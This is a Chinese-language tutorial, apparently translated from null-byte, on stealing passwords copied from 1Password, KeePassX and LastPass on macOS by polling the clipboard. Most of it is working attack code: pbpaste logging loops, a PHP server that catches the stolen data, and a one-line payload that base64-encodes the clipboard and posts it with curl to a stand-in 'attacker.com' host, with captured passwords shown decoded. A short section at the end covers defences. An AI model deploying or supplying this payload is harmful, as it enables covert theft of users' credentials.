如何以纯文本格式转储密码管理器中的密码 - iYouPort
如何以纯文本格式转储密码管理器中的密码
- 以及如何防止这种攻击
KeePassX、1Password 和 LastPass 这些密码管理器可以有效地防止键盘记录器、网络钓鱼和数据库泄露;但是,密码管理器依靠操作系统的剪贴板将凭证从密码库安全地转移到Web浏览器。然而就是在这几秒钟内,攻击者就可以抓取剪贴板内容,以导出密码。
针对密码管理器的剪贴板攻击,null-byte 介绍了两种情况,都利用了所有版本的 macOS 中都有的 pbpaste 命令。Pbpaste 会将剪贴板中发现的任何数据(包括密码)写入 标准输出 。
任何 macOS 用户都可以尝试,首先将密码复制到剪贴板,然后立即在终端中输入 pbpaste 。

执行 pbpaste 不需要特殊权限,剪贴板可以写入任何文件,如下所示。这影响到 KeePassX、1Password、LastPass,甚至苹果自家内置的 iCloud Keychain 密码管理器。
~$ pbpaste >>/tmp/clipboard.txt
选项1:本地转储剪贴板
场景 : 攻击者建立了一个持久性的后门,并希望长期收集存储在 KeePassX、1Password 或 LastPass 中的密码。
MacOS 在防范键盘记录器方面已经变得更好了,任何人在直播桌面时都无法透露存储在密码管理器中的凭证。
攻击者可以将剪贴板转储到本地文件中,并偶尔检查它是否有新的密码。一个延时5秒的无限 while 循环 应该可以做到这一点。
~$ while true; do echo -e "\n$(pbpaste)" >>/tmp/clipboard.txt && sleep 5; done
while 循环将执行 pbpaste;循环中的命令会不断重复,反复转储剪贴板中的任何内容。引入一个 echo ,以在每一个条目中创建一个新行 ( \n ),以防止数据在同一行中连接。
在其他 Netcat shell 中,使用 cat 或 tail 来查看剪贴板.txt文件的内容。
~$ tail -f /tmp/clipboard.txt
tail 后跟 (-f) 将更改附加到文件,并立即打印剪贴板中发现的新内容。
通过评估剪贴板内容并与文件中的最后一条内容进行比较,防止clipboard .txt 文件被重复的行数淹没。
~$ while true; do if [[ "$(pbpaste)" != "$(tail -n1 /tmp/clipboard.txt)" ]]; then echo -e "\n$(pbpaste)" >>/tmp/clipboard.txt; fi && sleep 5;done
只有当当前剪贴板内容与 .txt 中的最后一条内容 ( tail -n1 ) 不相等 ( != ) 时,pbpaste 才会更新文件。
然而,这个解决方案一定程度上存在缺陷。 if 语句只比较 .txt 文件的最后一行,所以如果其中有有多行,它就不能识别为重复条目。但对于本文和大多数场景来说,它都达到了目的。
您可以花一点时间,以此为基础,设计一个强大的、合适的解决方案。
选项2:将密码泄露到远程服务器
场景 : 攻击者并不关心远程访问 MacBook。相反,有效载荷被设计为每隔一段时间就将剪贴板输出到攻击者的服务器。
在这种情况下,攻击者只关心剪贴板的外泄,并没有对 MacBook 进行后门。相反,他们已经找到了在目标 macOS 设备上远程执行代码的方法。
设置这种攻击涉及到一个由攻击者控制的PHP服务器,用来拦截外流的数据。在本演示中使用了一个 Debian 虚拟专用服务器。
步骤1:安装PHP
首先,使用以下 apt-get 命令安装 php,该命令将在 Debian 和 Kali Linux 中运行。
~# apt-get update && apt-get install php
Ign:1 http://http.us.debian.org/debian stretch InRelease
Hit:2 http://http.us.debian.org/debian stretch-updates InRelease
Hit:3 http://security.debian.org/debian-security stretch/updates InRelease
Hit:4 http://http.us.debian.org/debian stretch Release
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
apache2-bin libapache2-mod-php7.0 libapr1 libaprutil1 libaprutil1-dbd-sqlite3 libaprutil1-ldap liblua5.2-0 php
php-common php7.0 php7.0-cli php7.0-common php7.0-json php7.0-opcache php7.0-readline psmisc
0 upgraded, 16 newly installed, 0 to remove and 0 not upgraded.
Need to get 5,209 kB of archives.
After this operation, 19.9 MB of additional disk space will be used.
Do you want to continue? [Y/n]
使用以下 mkdir 命令创建一个名为 “phpServer/” 的目录。
~# mkdir phpServer/
使用 cd 命令切换到 phpServer/ 目录。
~# cd phpServer/
用 nano 创建一个名为 “index.php” 的文件。
~/phpServer# nano index.php
将以下 PHP 代码粘贴到 nano 终端中。完成后要保存并退出 nano 终端,按 Ctrl + x,然后按 y,然后按 Enter。
<?php
$input = file_get_contents("php://input");
$log = file_put_contents('clipboard.txt', $input.PHP_EOL , FILE_APPEND | LOCK_EX);
?>
它能够拦截数据,而且不需要做任何修改就能发挥作用。当 MacBook 发送剪贴板内容时,服务器将捕获数据并附加到一个名为 “clipboard.txt” 的文件。
最后,使用 php -S 0.0.0.0:80 命令启动PHP服务器。
~/phpServer# php -S 0.0.0.0:80
PHP 7.0.33-0+deb9u3 Development Server started at Sun Jun 9 08:38:55 2019
Listening on http://0.0.0.0:80
Document root is /root/phpServer
Press Ctrl-C to quit.
步骤2:创建有效载荷
下面的脚本将比较当前剪贴板的内容和最近发送到攻击者服务器的内容。为了清楚起见,它采用的是标准的shell脚本格式。
# While loop to dump the clipboard over and over again, infinitely.
while true; do
# An `if` statement, compares the current clipboard
# content to the content found in the last loop.
if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then
# A `p` to store the encoded clipboard contents. The
# contents must be encoded before sending to the
# attacker's server to prevent it from breaking the
# proceeding curl command.
p="$(echo $(pbpaste) | base64)"
# Curl takes the encoded string and delivers it to
# the attacker's server via POST request.
curl --data "$p" -X POST 'http://attacker.com/'
# The `pbpaste_last` variable is updated. This variable
# is evaluated in the following loop.
pbpaste_last="$(pbpaste)"
# Delay for 5 seconds before checking the clipboard
# for new contents. Decreasing this value will cause
# the script to evaluate the clipboard more frequently,
# but will have a negative impact on the MacBook's
# CPU. Increasing the value may cause the script to
# miss a valuable password. Adjust as needed.
sleep 5
fi
done
将脚本压缩到一行以使其方便地适合各种类型的 stager。
while true; do if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then p="$(echo $(pbpaste) | base64)"; curl --data "$p" -X POST 'http://attacker.com/' && pbpaste_last="$(pbpaste)"; sleep 5; fi; done
步骤3:检查被窃取的数据
当PHP服务器接收到剪贴板数据时,它将显示数据的来源(IP地址)以及日期和时间。按 Ctrl+c 键停止PHP服务器。
PHP 7.0.33-0+deb9u3 Development Server started at Sun Jun 9 08:38:55 2019
Listening on http://0.0.0.0:80
Document root is /root/phpServer
Press Ctrl-C to quit.
[Sun Jun 9 09:03:23 2019] 23.129.64.153:63761 [200]: /
[Sun Jun 9 09:03:33 2019] 23.129.64.153:46089 [200]: /
[Sun Jun 9 09:03:50 2019] 23.129.64.184:13728 [200]: /
[Sun Jun 9 09:03:56 2019] 199.195.250.77:38894 [200]: /
[Sun Jun 9 09:04:02 2019] 199.195.250.77:40646 [200]: /
[Sun Jun 9 09:04:10 2019] 209.141.58.114:45602 [200]: /
用 cat 查看 clipboard.txt 内容,找到加密的密码。KeePassX 和 1Password 分别在10秒和30秒后自动清除剪贴板。LastPass 则表示 “在默认时间后” 会清除剪贴板。来自 MacBook 的空交付出现 “Cg==” 编码。
~/phpServer# cat clipboard.txt
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
Cg==
dGhpcyBpcyBteSBwYXNzd29yZAo=
UHdVN1YzWzg3a3ZUPyNed01QKF9jVHltNj8iPjoifTp7Kl5gYH4K
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
Cg==
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
下面的命令将自动解码 clipboard.txt 文件中所有的base64字符串。以下所有字符串都是使用 KeePassX、1Password 和 LastPass 时被捕获的密码。
~/phpServer# cat clipboard.txt | while read -r password; do base64 -d <<< "$password"; done
YT4n3M4sCpjpsTV7LkZoK
this is my password
PwU7V3[87kvT?#^wMP(_cTym6?">:"}:{*^``~
YT4n3M4sCpjpsTV7LkZoK
YT4n3M4sCpjpsTV7LkZoK
最后
我们鼓励渗透测试人员尽可能多地利用被入侵的操作系统中已经存在的资源(即 “靠山吃山”)。像 cURL、Netcat、Bash 和 LibreSSL 一样,pbpaste 是 另一个 内置工具,很容易被黑客滥用。
攻击者会探索各种途径来发现目标的登录密码。Pbpaste 让转储在密码管理器中的凭证几乎变得非常容易。
📌 如何保护自己免受剪贴板攻击的侵害
为了防止攻击者有机会转储剪贴板,请安装官方的 1Password 浏览器扩展或 LastPass 浏览器扩展。它们适用于所有现代网络浏览器。对于 KeePassX 用户,也存在类似的浏览器扩展,但没有经过官方审核或测试。
对于 1Password 来说,一旦安装了扩展,在提示时启用 “ 1Password 扩展助手 ”。然后,该助手会让 1Password 在登录网站时自动填写凭证。自动填写完全不使用剪贴板,因此可以防止剪贴板攻击。LastPass 扩展的过程与此类似。
请记住,这两种方法都不是100%有效的。有时,当网站上的自动填充无法工作时,还是需要将密码复制到剪贴板。

如果一定要复制密码,可以调整密码管理器的剪贴板设置。
例如,你可以打开 1Password 的首选项,选择 “安全”,然后通过 “清除剪贴板内容” 输入一个以秒为单位的时间。让它尽可能的短。
在上面的演示中,我们使用的是五秒的间隔,所以三四秒可能就会很有用,但这并不意味着黑客无法抢到密码,如果时间恰当的话。
总的来说,在 macOS 上没有内置的方法来清除剪贴板,也不建议这样做,因为剪贴板的用途不仅仅是密码。
你可以为 “清除剪贴板” 建立一个服务,并为它指定一个键盘快捷键,比如 Command + Down Arrow。然后,你可以在粘贴密码后手动清除剪贴板,这样它就不会在那里停留超过必要的时间。
只要 用 Automator 构建服务 ,但使用下面的运行shell脚本。不过,你会遇到和上面说的一样的问题,就是剪贴板在正确的时刻或检查前间隔较小的情况下被泄露。
pbcopy </dev/null
⚪️
How to Dump 1Password, KeePassX & LastPass Passwords in Plaintext
文章版权归原作者所有。
